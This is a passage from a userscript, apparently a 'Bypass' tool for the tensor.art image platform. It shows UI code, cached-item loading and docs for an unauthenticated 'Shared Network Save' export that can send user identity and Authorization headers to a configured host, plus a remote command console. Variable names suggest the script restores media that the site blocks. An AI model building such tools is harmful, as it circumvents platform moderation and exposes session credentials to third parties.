}
.bypass-tooltip-preview-media {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.bypass-injected-tooltip {
position: fixed;
background: ${colors.bgSecondary};
color: ${colors.text};
border: 1px solid ${colors.border};
border-radius: 8px;
padding: 8px 10px;
font-size: 11px;
line-height: 1.4;
max-width: min(360px, 85vw);
z-index: 100000;
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.35);
pointer-events: none;
opacity: 0;
transition: opacity 0.2s ease;
}
.bypass-download-preview {
margin-top: 10px;
padding: 10px;
border-radius: 10px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
display: flex;
gap: 10px;
align-items: center;
}
.bypass-download-preview-media {
width: 90px;
height: 70px;
border-radius: 8px;
overflow: hidden;
border: 1px solid ${colors.border};
background: ${colors.bgTertiary};
display: flex;
align-items: center;
justify-content: center;
}
.bypass-download-preview-media img,
.bypass-download-preview-media video {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.bypass-gallery-play {
position: absolute;
inset: 0;
display: flex;
align-items: center;
justify-content: center;
font-size: 28px;
color: white;
background: radial-gradient(circle, rgba(0,0,0,0.45) 0%, rgba(0,0,0,0) 60%);
pointer-events: none;
}
@keyframes shimmer {
0% { background-position: -1000px 0; }
100% { background-position: 1000px 0; }
}
.bypass-loading-state {
background: linear-gradient(90deg, ${colors.bgSecondary} 25%, ${colors.bgTertiary} 50%, ${colors.bgSecondary} 75%);
background-size: 1000px 100%;
animation: shimmer 2s infinite;
}
.bypass-collapsed-btn.loading {
opacity: 0.8;
}
.bypass-collapsed-btn.loading span::after {
content: '';
animation: blink 1.4s infinite;
}
@keyframes blink {
0%, 20%, 50%, 80%, 100% { opacity: 1; }
40% { opacity: 0.5; }
60% { opacity: 0.7; }
}
`;
if (style.textContent !== nextCss) {
style.textContent = nextCss;
}
}
function hasFontAwesomeAvailable() {
try {
const probe = document.createElement('i');
probe.className = 'fas fa-check';
probe.style.cssText = 'position:absolute;left:-9999px;top:-9999px;';
document.body.appendChild(probe);
const content = getComputedStyle(probe, '::before').content;
probe.remove();
return !!content && content !== 'none' && content !== 'normal' && content !== '""';
} catch {
return false;
}
}
function applyIconFallback(root) {
if (!root || hasFontAwesomeAvailable()) return;
const iconMap = {
'fa-shield-alt': '🛡',
'fa-arrows-rotate': '↻',
'fa-sync-alt': '↻',
'fa-minus': '−',
'fa-expand': '⤢',
'fa-compress': '⤡',
'fa-database': '🗄',
'fa-hourglass-half': '⏳',
'fa-file-export': '📤',
'fa-trash': '🗑',
'fa-broom': '🧹',
'fa-copy': '📋',
'fa-up-right-from-square': '↗',
'fa-image': '🖼',
'fa-video': '🎬',
'fa-wave-square': '〰',
'fa-info-circle': 'ℹ',
'fa-satellite-dish': '📡',
'fa-shield-halved': '🛡',
'fa-telegram': '✈',
'fa-discord': '💬',
'fa-download': '⬇',
'fa-question-circle': '?'
};
root.querySelectorAll('i.fas, i.fab').forEach((el) => {
if (el.dataset.bypassIconFallbackApplied === '1') return;
const classes = Array.from(el.classList || []);
const iconClass = classes.find(c => c.startsWith('fa-') && c !== 'fas' && c !== 'fab');
const fallback = (iconClass && iconMap[iconClass]) || '•';
if (!String(el.textContent || '').trim()) {
el.textContent = fallback;
}
el.style.fontFamily = 'inherit';
el.style.fontStyle = 'normal';
el.dataset.bypassIconFallbackApplied = '1';
});
}
function injectCollapseButtonEarly() {
if (!shouldShowUiOnCurrentDomain()) {
const existingBtn = document.querySelector('.bypass-collapsed-btn');
if (existingBtn) existingBtn.remove();
return;
}
// Inject styles first if not already done
if (!document.getElementById('bypass-styles')) {
injectStyles();
}
// Check if already injected
if (document.querySelector('.bypass-collapsed-btn')) {
return;
}
const attachButton = () => {
if (document.querySelector('.bypass-collapsed-btn')) {
return;
}
if (!document.body) {
return;
}
const btn = document.createElement('button');
btn.className = 'bypass-collapsed-btn loading';
btn.innerHTML = '<i class="fas fa-shield-alt"></i> <span>Bypass</span>';
btn.style.opacity = '0.7';
btn.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
toggleExpand();
};
document.body.appendChild(btn);
applyIconFallback(btn);
// Apply remote update state (if any)
applyUpdateStateToCollapsedButton(btn);
};
if (document.body) {
attachButton();
return;
}
// If body isn't ready yet, observe and attach ASAP
const observer = new MutationObserver(() => {
if (document.body) {
attachButton();
observer.disconnect();
}
});
observer.observe(document.documentElement, { childList: true, subtree: true });
}
function updateCollapseBtnWithItems() {
const btn = document.querySelector('.bypass-collapsed-btn');
if (!btn) return;
// Remove loading state once items are loaded
btn.classList.remove('loading');
btn.style.opacity = '1';
btn.style.pointerEvents = 'auto';
// In multi-account mode, items can exist in cached account tasks even if `itemsData` is empty.
// Keep badge useful by falling back to the aggregated view count.
let badgeCount = itemsData.length;
try {
const activeTokens = getActiveTokens();
const multiMode = settings.forceTasksAcrossAccounts || activeTokens.length > 1;
if (multiMode && badgeCount === 0) {
badgeCount = getItemsForCurrentAccount().length;
}
} catch {
// ignore
}
if (badgeCount > 0) {
let badge = btn.querySelector('.bypass-badge');
if (!badge) {
badge = document.createElement('div');
badge.className = 'bypass-badge';
btn.appendChild(badge);
}
badge.textContent = badgeCount;
}
// Apply remote update state (if any)
applyUpdateStateToCollapsedButton(btn);
applyIconFallback(btn);
}
function loadItemsFromCache() {
if (!settings.cachingEnabled || downloadUrlCache.size === 0) return false;
logActiveTokenUsage('loadItemsFromCache(urlCache)');
const existingIds = new Set(itemsData.map(item => item.id));
let added = 0;
for (const [cacheKey, url] of downloadUrlCache.entries()) {
const parts = String(cacheKey || '').split('|');
const imageId = parts[0];
const kind = (parts[1] || '').toLowerCase();
const isVideo = kind === 'video';
if (!imageId || existingIds.has(imageId)) continue;
itemsData.push({
id: imageId,
mimeType: isVideo ? 'video/*' : 'image/*',
type: isVideo ? 'Video' : 'Image',
taskId: 'Cached',
createdAt: null,
expiresAt: null,
width: null,
height: null,
url
});
blockedItems.add(imageId);
added += 1;
}
if (added > 0) {
itemsData = itemsData.sort((a, b) => b.id.localeCompare(a.id));
updateCollapseBtnWithItems();
return true;
}
return false;
}
function loadCachedTasksIntoItems() {
const loaded = loadTasksFromCache();
if (loaded) {
logActiveTokenUsage('loadCachedTasksIntoItems');
}
if (loaded) {
itemsData = itemsData.sort((a, b) => b.id.localeCompare(a.id));
updateCollapseBtnWithItems();
}
}
function injectCacheLoadButton() {
if (!settings.cachingEnabled) return;
const existing = document.getElementById('bypass-cache-load-btn');
if (existing) return;
if (!document.body) return;
const btn = document.createElement('button');
btn.id = 'bypass-cache-load-btn';
btn.textContent = 'Load from Cache';
btn.style.cssText = `
position: fixed;
right: 20px;
bottom: 80px;
z-index: 2147483647;
padding: 8px 12px;
border-radius: 8px;
border: 1px solid #475569;
background: #1e293b;
color: #e2e8f0;
font-size: 12px;
cursor: pointer;
opacity: 0.85;
`;
btn.onclick = () => {
const loaded = loadTasksFromCache();
if (loaded) {
injectBlockedMediaIntoDom();
updateUI();
}
};
document.body.appendChild(btn);
}
async function fetchPreviews() {
const maxItems = 25;
const maxVideos = 25;
let videoCount = 0;
const now = Date.now();
const queue = itemsData
.filter(item => !item.url)
.filter(item => {
// Skip hard-expired tasks — no point sending a download request
const expTs = normalizeTimestamp(item.expiresAt || item.expireAt);
if (expTs && now > expTs) return false;
const isVideo = item.type === 'Video' || item.mimeType?.startsWith('video/');
if (!isVideo) return true;
if (videoCount >= maxVideos) return false;
videoCount += 1;
return true;
})
.slice(0, maxItems);
if (!queue.length) return;
const concurrency = 4;
let cursor = 0;
const worker = async () => {
while (cursor < queue.length) {
const index = cursor++;
const item = queue[index];
try {
item.url = await getPreviewUrlForItem(item);
} catch (err) {
console.error(`Failed to fetch preview for ${item.id}: ${err}`);
item.url = '';
}
}
};
await Promise.all(Array.from({ length: Math.min(concurrency, queue.length) }, () => worker()));
}
function setupDragAndResize(el, header) {
let isDragging = false;
let isResizingWindow = false;
let dragMoved = false;
let dragStartX = 0, dragStartY = 0;
let dragStartLeft = 0, dragStartTop = 0;
let resizeStartX = 0, resizeStartY = 0;
let resizeStartWidth = 0, resizeStartHeight = 0;
const beginDrag = (e) => {
isDragging = true;
dragMoved = false;
dragStartX = e.clientX;
dragStartY = e.clientY;
dragStartLeft = el.offsetLeft;
dragStartTop = el.offsetTop;
e.preventDefault();
// Hide all tooltips when starting to drag
document.querySelectorAll('.bypass-hover-tooltip').forEach(t => {
t.style.opacity = '0';
t.style.pointerEvents = 'none';
});
};
header.addEventListener('mousedown', (e) => {
if (e.target.closest('.bypass-btn-icon')) return;
beginDrag(e);
});
el.addEventListener('mousedown', (e) => {
if (el.dataset.bypassMoveArmed !== 'true') return;
if (isFloatingWindowInteractiveTarget(e.target)) return;
beginDrag(e);
});
el.addEventListener('contextmenu', (e) => {
if (Date.now() < floatingMenuSuppressUntil) return;
if (dragMoved || isDragging || isResizingWindow) return;
if (isFloatingWindowInteractiveTarget(e.target)) return;
e.preventDefault();
e.stopPropagation();
const now = Date.now();
const isDoubleRightClick = (now - floatingMenuLastContextAt) <= 420;
floatingMenuLastContextAt = now;
if (isDoubleRightClick) {
clearContextMenu();
resetFloatingWindowSizeAndCenter();
showToast('Floating window reset to default size and centered.', 'success');
return;
}
showFloatingWindowContextMenu(e.clientX, e.clientY, el);
});
const resizeHandle = el.querySelector('.bypass-resize-handle');
if (resizeHandle) {
resizeHandle.addEventListener('mousedown', (e) => {
isResizingWindow = true;
resizeStartX = e.clientX;
resizeStartY = e.clientY;
resizeStartWidth = el.offsetWidth;
resizeStartHeight = el.offsetHeight;
e.preventDefault();
e.stopPropagation();
});
}
let dragTimeout = null;
let lastSaveTime = 0;
document.addEventListener('mousemove', (e) => {
if (isDragging) {
const deltaX = e.clientX - dragStartX;
const deltaY = e.clientY - dragStartY;
if (Math.abs(deltaX) > 2 || Math.abs(deltaY) > 2) {
dragMoved = true;
}
el.style.left = `${dragStartLeft + deltaX}px`;
el.style.top = `${dragStartTop + deltaY}px`;
el.style.right = 'auto';
el.style.bottom = 'auto';
el.style.transform = 'none';
// Save position every 100ms max (throttled), but UI updates every frame
const now = Date.now();
if (now - lastSaveTime > 100) {
settings.position = {
top: el.style.top,
left: el.style.left,
right: 'auto',
width: el.style.width,
height: el.style.height
};
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
lastSaveTime = now;
}
}
if (isResizingWindow) {
const deltaX = e.clientX - resizeStartX;
const deltaY = e.clientY - resizeStartY;
const newWidth = Math.max(300, resizeStartWidth + deltaX);
const newHeight = Math.max(250, resizeStartHeight + deltaY);
el.style.width = `${newWidth}px`;
el.style.height = `${newHeight}px`;
}
});
document.addEventListener('mouseup', () => {
if (isDragging) {
// Re-enable tooltips after drag ends
document.querySelectorAll('.bypass-hover-tooltip').forEach(t => {
t.style.opacity = '1';
t.style.pointerEvents = 'auto';
});
settings.position = {
...settings.position,
top: el.style.top,
left: el.style.left,
right: 'auto',
width: el.style.width,
height: el.style.height
};
saveSettings();
}
if (isResizingWindow) {
settings.position = {
...settings.position,
width: `${el.offsetWidth}px`,
height: `${el.offsetHeight}px`
};
saveSettings();
}
if (el.dataset.bypassMoveArmed === 'true') {
delete el.dataset.bypassMoveArmed;
el.classList.remove('bypass-move-armed');
}
isDragging = false;
isResizingWindow = false;
setTimeout(() => {
dragMoved = false;
}, 0);
});
}
// Show confirmation dialog with warning styling
function showConfirmDialog(message, onConfirm) {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed; top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(5px);
display: flex; align-items: center; justify-content: center;
z-index: 10000050; animation: fadeIn 0.3s ease-out;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${settings.theme === 'dark' ? '#1e1e2e' : '#ffffff'};
color: ${settings.theme === 'dark' ? '#e0e0e0' : '#333333'};
border: 2px solid #ff6b6b;
border-radius: 12px;
padding: 24px;
max-width: 400px;
box-shadow: 0 20px 60px rgba(255, 107, 107, 0.3);
animation: slideInUp 0.3s cubic-bezier(0.4, 0, 0.2, 1);
`;
dialog.innerHTML = `
<div style="display: flex; align-items: flex-start; gap: 16px; margin-bottom: 20px;">
<i class="fas fa-exclamation-triangle" style="color: #ff6b6b; font-size: 24px; flex-shrink: 0; margin-top: 4px;"></i>
<div style="flex: 1;">
<h3 style="margin: 0 0 8px 0; font-size: 16px; font-weight: 600;">Confirm Action</h3>
<p style="margin: 0; font-size: 14px; opacity: 0.8;">${message}</p>
</div>
</div>
<div style="display: flex; gap: 12px; justify-content: flex-end;">
<button class="bypass-btn bypass-btn-secondary" style="padding: 8px 16px;">Cancel</button>
<button class="bypass-btn bypass-btn-danger" style="padding: 8px 16px;">Confirm</button>
</div>
`;
const buttons = dialog.querySelectorAll('button');
buttons[0].onclick = () => overlay.remove();
buttons[1].onclick = () => {
overlay.remove();
if (onConfirm) onConfirm();
};
overlay.appendChild(dialog);
document.body.appendChild(overlay);
}
function showSharedNetworkInfoDialog() {
const colors = getThemeColors();
const base = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const isLocal = base ? sharedNetIsLocalhostUrl(base) : false;
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.7);
backdrop-filter: blur(6px);
display: flex;
align-items: center;
justify-content: center;
z-index: 10000060;
padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(760px, 96vw);
max-height: min(88vh, 860px);
overflow: auto;
background: ${colors.bg};
border: 1px solid ${colors.border};
border-radius: 14px;
box-shadow: 0 24px 80px rgba(0,0,0,0.55);
color: ${colors.text};
padding: 14px;
`;
const header = document.createElement('div');
header.style.cssText = `display:flex; align-items:flex-start; justify-content:space-between; gap:10px; padding: 6px 6px 10px; border-bottom: 1px solid ${colors.border};`;
header.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
<div style="font-size:14px; font-weight:900;"><i class="fas fa-network-wired" style="color:${colors.primary}; margin-right:8px;"></i> Shared Network Save</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.4;">Export cached tasks/items to a host on your network so you can store, edit, or publish them elsewhere.</div>
</div>
`;
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
closeBtn.onclick = () => overlay.remove();
header.appendChild(closeBtn);
const body = document.createElement('div');
body.style.cssText = 'padding: 12px 6px 6px; display:grid; gap:10px;';
const safety = document.createElement('div');
safety.style.cssText = `
border-radius: 12px;
padding: 12px;
border: 1px solid ${isLocal ? 'rgba(34,197,94,0.30)' : 'rgba(239,68,68,0.35)'};
background: ${isLocal ? 'rgba(34,197,94,0.10)' : 'rgba(239,68,68,0.12)'};
font-size: 12px;
line-height: 1.5;
`;
safety.innerHTML = `
<div style="font-weight:900; margin-bottom:6px; color:${isLocal ? '#86efac' : '#fecaca'};"><i class="fas fa-shield-halved"></i> Safety</div>
<div><strong>Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
<div style="margin-top:6px;">If the host is <strong>not</strong> localhost/127.0.0.1/::1, assume it can read everything you send. Only use servers you fully control.</div>
<div style="margin-top:6px;">Remote control console sends text commands to the host. Treat it like giving a server a keyboard.</div>
`;
const details = document.createElement('div');
details.style.cssText = `
border-radius: 12px;
padding: 12px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
font-size: 12px;
color: ${colors.textSecondary};
line-height: 1.55;
`;
details.innerHTML = `
<div style="font-weight:900; color:${colors.text}; margin-bottom:6px;"><i class="fas fa-file-export"></i> What gets sent</div>
<ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
<li>Cached tasks/items from your local storage (task cache + item metadata).</li>
<li>Optionally: basic user identity (userId/nickname), page context (URL/title), and Tensor headers.</li>
<li>By default, exports are sent as an <strong>application/json</strong> file payload (multipart). You can switch to plain JSON body if your server prefers it.</li>
</ul>
`;
body.appendChild(safety);
body.appendChild(details);
dialog.appendChild(header);
dialog.appendChild(body);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function showSharedNetworkDocsDialog() {
const colors = getThemeColors();
const httpBase = sharedNetNormalizeHttpBaseUrl(settings.sharedNetworkHost);
const isLocal = httpBase ? sharedNetIsLocalhostUrl(httpBase) : false;
const uploadUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpUploadPath) : null;
const healthUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpHealthPath) : null;
const commandUrl = httpBase ? sharedNetJoinUrl(httpBase, settings.sharedNetworkHttpCommandPath) : null;
const wsUrl = sharedNetNormalizeWsUrl(settings.sharedNetworkWsUrl);
const lastEnv = sharedNetworkLastSent || null;
const lastWire = sharedNetworkLastWire || null;
const lastEnvText = lastEnv ? JSON.stringify(lastEnv, null, 2) : '';
const lastWireText = lastWire ? JSON.stringify(lastWire, null, 2) : '';
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.78);
backdrop-filter: blur(6px);
z-index: 10000070;
padding: 10px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: calc(100vw - 20px);
height: calc(100vh - 20px);
background: ${colors.bg};
border: 1px solid ${colors.border};
border-radius: 16px;
box-shadow: 0 24px 90px rgba(0,0,0,0.55);
color: ${colors.text};
display: flex;
flex-direction: column;
overflow: hidden;
`;
const header = document.createElement('div');
header.style.cssText = `
display: flex;
align-items: center;
justify-content: space-between;
gap: 10px;
padding: 12px 14px;
border-bottom: 1px solid ${colors.border};
background: linear-gradient(180deg, rgba(99,102,241,0.10), rgba(0,0,0,0));
`;
const titleWrap = document.createElement('div');
titleWrap.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width:0;';
titleWrap.innerHTML = `
<div style="font-size:14px; font-weight:950; letter-spacing:0.2px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
<i class="fas fa-book" style="color:${colors.primary}; margin-right:8px;"></i>
Shared Network Docs (Crosee Save) — Protocol + Receiver Guide
</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.35; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
Exact formats used by this userscript for HTTP (JSON + multipart) and WebSocket, with copy/paste examples.
</div>
`;
const headerBtns = document.createElement('div');
headerBtns.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap; justify-content:flex-end;';
const mkBtn = (html, onClick, kind = 'secondary') => {
const b = document.createElement('button');
b.className = `bypass-btn bypass-btn-${kind}`;
b.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
b.innerHTML = html;
b.onclick = (e) => {
e.stopPropagation();
onClick?.();
};
return b;
};
const copyTextToClipboard = async (text) => {
const payload = String(text || '');
if (!payload) throw new Error('Nothing to copy');
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(payload);
return;
}
const ta = document.createElement('textarea');
ta.value = payload;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
};
const copyEnvBtn = mkBtn('<i class="fas fa-copy"></i> Copy last envelope', async () => {
try {
await copyTextToClipboard(lastEnvText);
showToast('Copied last envelope JSON', 'success');
} catch (e) {
showToast(e?.message || 'Nothing to copy', 'warning');
}
});
const copyWireBtn = mkBtn('<i class="fas fa-copy"></i> Copy last wire info', async () => {
try {
await copyTextToClipboard(lastWireText);
showToast('Copied last wire info JSON', 'success');
} catch (e) {
showToast(e?.message || 'Nothing to copy', 'warning');
}
});
const closeBtn = mkBtn('<i class="fas fa-times"></i> Close', () => overlay.remove());
headerBtns.appendChild(copyEnvBtn);
headerBtns.appendChild(copyWireBtn);
headerBtns.appendChild(closeBtn);
header.appendChild(titleWrap);
header.appendChild(headerBtns);
const body = document.createElement('div');
body.style.cssText = `
flex: 1;
display: grid;
grid-template-columns: 280px 1fr;
min-height: 0;
`;
const nav = document.createElement('div');
nav.style.cssText = `
border-right: 1px solid ${colors.border};
padding: 12px;
overflow: auto;
background: ${colors.bgSecondary};
`;
const navTitle = document.createElement('div');
navTitle.style.cssText = `font-size: 12px; font-weight: 900; color:${colors.text}; margin-bottom: 8px;`;
navTitle.innerHTML = '<i class="fas fa-list"></i> Contents';
nav.appendChild(navTitle);
const main = document.createElement('div');
main.style.cssText = 'padding: 14px; overflow: auto; min-width: 0;';
const mkSection = (id, titleHtml, innerHtml) => {
const wrap = document.createElement('div');
wrap.id = id;
wrap.style.cssText = 'scroll-margin-top: 70px; margin-bottom: 18px;';
const h = document.createElement('div');
h.style.cssText = `
font-size: 14px;
font-weight: 950;
margin-bottom: 10px;
padding: 10px 12px;
border: 1px solid ${colors.border};
border-radius: 12px;
background: rgba(99,102,241,0.08);
`;
h.innerHTML = titleHtml;
const c = document.createElement('div');
c.style.cssText = `
border: 1px solid ${colors.border};
border-radius: 12px;
padding: 12px;
background: ${colors.bg};
color: ${colors.textSecondary};
font-size: 12px;
line-height: 1.6;
`;
c.innerHTML = innerHtml;
wrap.appendChild(h);
wrap.appendChild(c);
return wrap;
};
const mkNavItem = (label, targetId) => {
const b = document.createElement('button');
b.className = 'bypass-btn bypass-btn-secondary';
b.style.cssText = `
width: 100%;
justify-content: flex-start;
padding: 9px 10px;
font-size: 11px;
border-radius: 10px;
margin-bottom: 6px;
gap: 8px;
`;
b.innerHTML = label;
b.onclick = () => {
const el = main.querySelector(`#${CSS.escape(targetId)}`);
if (el) el.scrollIntoView({ behavior: 'smooth', block: 'start' });
};
return b;
};
const monoBox = (text) => {
const safe = escapeHtml(String(text || ''));
return `<pre style="margin:0; padding:12px; background: rgba(2,6,23,0.55); border: 1px solid rgba(148,163,184,0.18); border-radius: 10px; overflow:auto; color: #e2e8f0; font-size: 11px; line-height: 1.5;">${safe}</pre>`;
};
const computedCfgHtml = `
<div style="display:grid; gap:10px;">
<div style="display:grid; gap:6px;">
<div style="font-weight:900; color:${colors.text};"><i class="fas fa-sitemap"></i> Your configured target</div>
<ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
<li><strong>Host/base:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(settings.sharedNetworkHost || '')}</span></li>
<li><strong>Method:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())}</span></li>
<li><strong>Payload mode:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</span></li>
<li><strong>Localhost safety:</strong> <span style="font-weight:900; color:${isLocal ? colors.success : colors.warning};">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></li>
</ul>
</div>
<div style="display:grid; gap:6px;">
<div style="font-weight:900; color:${colors.text};"><i class="fas fa-link"></i> Derived URLs (how the script actually builds them)</div>
<div style="display:grid; gap:6px;">
<div><strong>HTTP upload URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(uploadUrl || '—')}</span></div>
<div><strong>HTTP health URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(healthUrl || '—')}</span></div>
<div><strong>HTTP command URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(commandUrl || '—')}</span></div>
<div><strong>WebSocket URL:</strong> <span style="font-family:monospace; color:${colors.text};">${escapeHtml(wsUrl || '—')}</span></div>
</div>
<div style="font-size:11px; color:${colors.textSecondary};">
Notes: The script normalizes the host to an HTTP base (no trailing slash). Paths can be relative (recommended like <span style="font-family:monospace;">/shared-network/save</span>) or absolute.
</div>
</div>
</div>
`;
const safetyHtml = `
<div style="display:grid; gap:10px;">
<div style="border-radius:12px; padding:12px; border:1px solid ${isLocal ? 'rgba(34,197,94,0.30)' : 'rgba(239,68,68,0.35)'}; background:${isLocal ? 'rgba(34,197,94,0.10)' : 'rgba(239,68,68,0.12)'};">
<div style="font-weight:950; color:${isLocal ? '#86efac' : '#fecaca'}; margin-bottom:6px;"><i class="fas fa-shield-halved"></i> Safety model</div>
<div>
Shared Network Save is a convenience export feature. It is <strong>not encrypted</strong> and has <strong>no authentication</strong> built in.
</div>
<ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
<li>Assume the receiver can read everything you send (tasks, links, metadata).</li>
<li>If you enable <strong>Include Tensor headers</strong>, you may send sensitive request headers.</li>
<li>Remote control console is effectively giving the host a command channel. Only use with servers you fully control.</li>
</ul>
</div>
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-flag"></i> Localhost hint</div>
<div style="margin-top:6px;">Every envelope contains:</div>
${monoBox(JSON.stringify({ security: { localhost: true } }, null, 2))}
<div style="margin-top:6px; font-size:11px;">Receiver should treat <span style="font-family:monospace;">security.localhost</span> as a hint only (not a guarantee).</div>
</div>
</div>
`;
const envelopeHtml = `
<div style="display:grid; gap:10px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-box"></i> Envelope (outer JSON object)</div>
<div style="margin-top:6px;">This is the exact JSON shape created by <span style="font-family:monospace;">sharedNetBuildEnvelope(payload, meta)</span>.</div>
</div>
${monoBox(JSON.stringify({
type: 'tensor-shared-network-export',
version: SCRIPT_VERSION,
exportedAt: '2026-01-17T17:10:17.000Z',
payload: { kind: 'items', count: 1 },
page: { href: 'https://tensor.art/...', origin: 'https://tensor.art', host: 'tensor.art', title: '...' },
user: { tokenPreview: 'abcd…wxyz', userId: '123', nickname: 'myname' },
tensorHeaders: { Authorization: '***' },
meta: { source: 'item-card' },
security: { localhost: true }
}, null, 2))}
<div>
<div style="font-weight:950; color:${colors.text}; margin-top:6px;"><i class="fas fa-tags"></i> Common payload kinds</div>
<ul style="margin:6px 0 0; padding-left:18px; display:grid; gap:6px;">
<li><span style="font-family:monospace;">cached-tasks</span> — exported from local task cache.</li>
<li><span style="font-family:monospace;">items</span> — exported from selected UI items; includes <span style="font-family:monospace;">items[]</span> and related <span style="font-family:monospace;">tasks[]</span> when available.</li>
<li><span style="font-family:monospace;">task</span> — single task export.</li>
<li><span style="font-family:monospace;">raw</span> / other strings — arbitrary payload wrapper used by context menu exports.</li>
<li><span style="font-family:monospace;">remote-command</span> — used by HTTP command endpoint (see Command section).</li>
</ul>
</div>
</div>
`;
const httpHealthHtml = `
<div style="display:grid; gap:10px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-heart-pulse"></i> Health check request</div>
<div style="margin-top:6px;">The script calls the Health URL with a simple GET:</div>
</div>
${monoBox(`GET ${healthUrl || 'http://127.0.0.1:8787/shared-network/health'}\n`)}
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-reply"></i> Receiver response</div>
<div style="margin-top:6px;">Any 2xx response marks the health check as OK. The body is logged (first ~2000 chars) for debugging.</div>
<div style="margin-top:8px;">Recommended JSON response example:</div>
${monoBox(JSON.stringify({ ok: true, name: 'client I-BT Point', time: new Date().toISOString() }, null, 2))}
</div>
</div>
`;
const httpUploadHtml = `
<div style="display:grid; gap:12px;">
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-cloud-arrow-up"></i> Upload / Save endpoint (HTTP)</div>
<div style="margin-top:6px;">The script sends an envelope to the Upload URL using one of two modes, controlled by <span style="font-family:monospace;">settings.sharedNetworkPayloadMode</span>:</div>
<ul style="margin:8px 0 0; padding-left:18px; display:grid; gap:6px;">
<li><strong>Text mode</strong> (<span style="font-family:monospace;">text</span>): JSON body with <span style="font-family:monospace;">Content-Type: application/json</span></li>
<li><strong>File mode</strong> (<span style="font-family:monospace;">file</span>): <span style="font-family:monospace;">multipart/form-data</span> with a JSON file field named <span style="font-family:monospace;">file</span> and extra metadata fields</li>
</ul>
</div>
<div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
<div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-code"></i> Text mode (JSON body)</div>
${monoBox(`POST ${uploadUrl || 'http://127.0.0.1:8787/shared-network/save'}\nContent-Type: application/json\n\n{...envelope JSON...}`)}
<div style="margin-top:8px; font-size:11px;">Receiver should parse the request body as JSON and treat it as the envelope.</div>
</div>
<div style="border:1px solid rgba(148,163,184,0.18); border-radius:12px; padding:12px; background: rgba(2,6,23,0.25);">
<div style="font-weight:950; color:${colors.text}; margin-bottom:8px;"><i class="fas fa-file"></i> File mode (multipart)</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:8px;">Exact form fields the userscript sends:</div>
<ul style="margin:0; padding-left:18px; display:grid; gap:6px;">
<li><span style="font-family:monospace; color:${colors.text};">file</span> — JSON file blob (filename provided)</li>
<li><span style="font-family:monospace; color:${colors.text};">filename</span> — the same filename string</li>
<li><span style="font-family:monospace; color:${colors.text};">contentType</span> — always <span style="font-family:monospace;">application/json</span></li>
<li><span style="font-family:monospace; color:${colors.text};">mode</span> — always <span style="font-family:monospace;">file</span></li>
</ul>
<div style="margin-top:10px; font-size:11px; color:${colors.textSecondary};">The receiver should read the uploaded file bytes and parse it as JSON.</div>
</div>
<div>
<div style="font-weight:950; color:${colors.text};"><i class="fas fa-clipboard-check"></i> Receiver response contract</div>
<div style="margin-top:6px;">The userscript accepts any response body. It marks success based on HTTP <span style="font-family:monospace;">response.ok</span> (status 2xx). It logs the response text for debugging.</div>
<div style="margin-top:8px;">Recommended response JSON:</div>
${monoBox(JSON.stringify({ ok: true, requestId: '20260117T171017Z', stored: true, storedPath: 'content/tasks/20260117T171017Z/envelope.json' }, null, 2))}
</div>
</div>
`;
const wsHtml = `
<div style="display:grid; gap:12px;">
<div>
